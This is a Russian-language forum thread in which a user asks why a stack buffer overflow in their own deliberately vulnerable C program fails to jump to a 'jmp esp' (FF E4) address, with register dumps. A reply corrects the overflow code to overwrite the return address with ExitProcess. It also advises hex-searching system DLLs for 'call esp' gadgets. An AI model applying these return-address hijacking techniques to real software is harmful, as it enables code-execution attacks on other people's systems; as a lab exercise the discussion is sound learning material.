ВинИксПи хом-эдишн. Такая проблема: переполняю буфер в своем бажном приложении, подставляю адрес `FF E4`, и это приложение перепрыгивая на него не "видит" данных, которые находятся по этому адресу. (90945EFE ???) Испробавал штук 20 адресов 01******, 71******, 77******, и т. д. Хотя нашел я эти адреса с помощью сайса. Причем адреса эти время от времени меняются. Кавырялся в кэрнел32.длл, юзер32.длл, мсвцрт.длл но ида не нашла там ничего похожего на `FF E4`. Вопрос: как мне найти "постоянные" адреса (FF E4)? Как мне заставить приложение увидить данные хранящиеся по этим адресам? Привожу листинг программы: Код (Text): void lame (char* buff) { printf("[+]\tEntering to lame() function\n"); char small[12]; strcpy(small, buff); } main(int argc, char **argv) { char str[34]; printf("[+]\tEntering to Main() function\n"); char *strprev = "abcdefghijklmnop"; char *ret = "\xfe\x5e\x94\x90"; char *strafter = "123456789012"; for(int i = 0, j = 0; i < strlen(strprev); i++, j++) str[j] = strprev[i]; for(i = 0; i < strlen(ret); i++, j++) str[j] = ret[i]; for(i = 0; i < strlen(strafter); i++, j++) str[j] = strafter[i]; lame (str); return 0; } привожу значения регистров: Код (Text): EAX = 0012FEE4 EBX = 7FFDF000 ECX = 0012FF84 EDX = 0012FFC0 ESI = 00000000 EDI = 0012FF80 EIP = 90945EFE ESP = 0012FEF8 EBP = 706F6E6D EFL = 00000246 пробовал затирать EBP - результат отличался только значением регистров
Код (Text): for(k = 0; k < strlen(ret); k++, j++) str[j] = ret[k]; вот здесь вроде проблема тут копируется не адрес возврата , а то что по этому адресу находится ты неправильно бъявил не надо char * обьяви как DWORD например так , в результате будет вызвана ExitProcess Код (Text): void lame (char* buff) { printf("[+]\tEntering to lame() function\n"); //Здесь выравнивание добавит 4 байта , так что // что 12 что 16 всё равно будет 16 - зависит от //выравнивания char _small[12]; strcpy(_small, buff); } main(int argc, char **argv) { printf("[+]\tEntering to Main() function\n"); const struct { char strprev[16]; DWORD d ; char strafter[12]; }xploit = { {'a','b','c','d','e','f','g','h','i','j','k','l','n','m','o','p'}, (DWORD)ExitProcess, {'1','2','3','4','5','6','7','8','9','0','1','2'} }; lame ((char*)&xploit); }; дык с помощью шестнадцатиричного редактора открываешь kernel32.dll или user32.dll и ищеш, и не надо никакого softice p.s поищи call esp в кернел 32 (ff d4) у меня в xpsp2 есть такое так же есть ещё advapi.dll , shell32.dll и тд которые очень часто есть в программах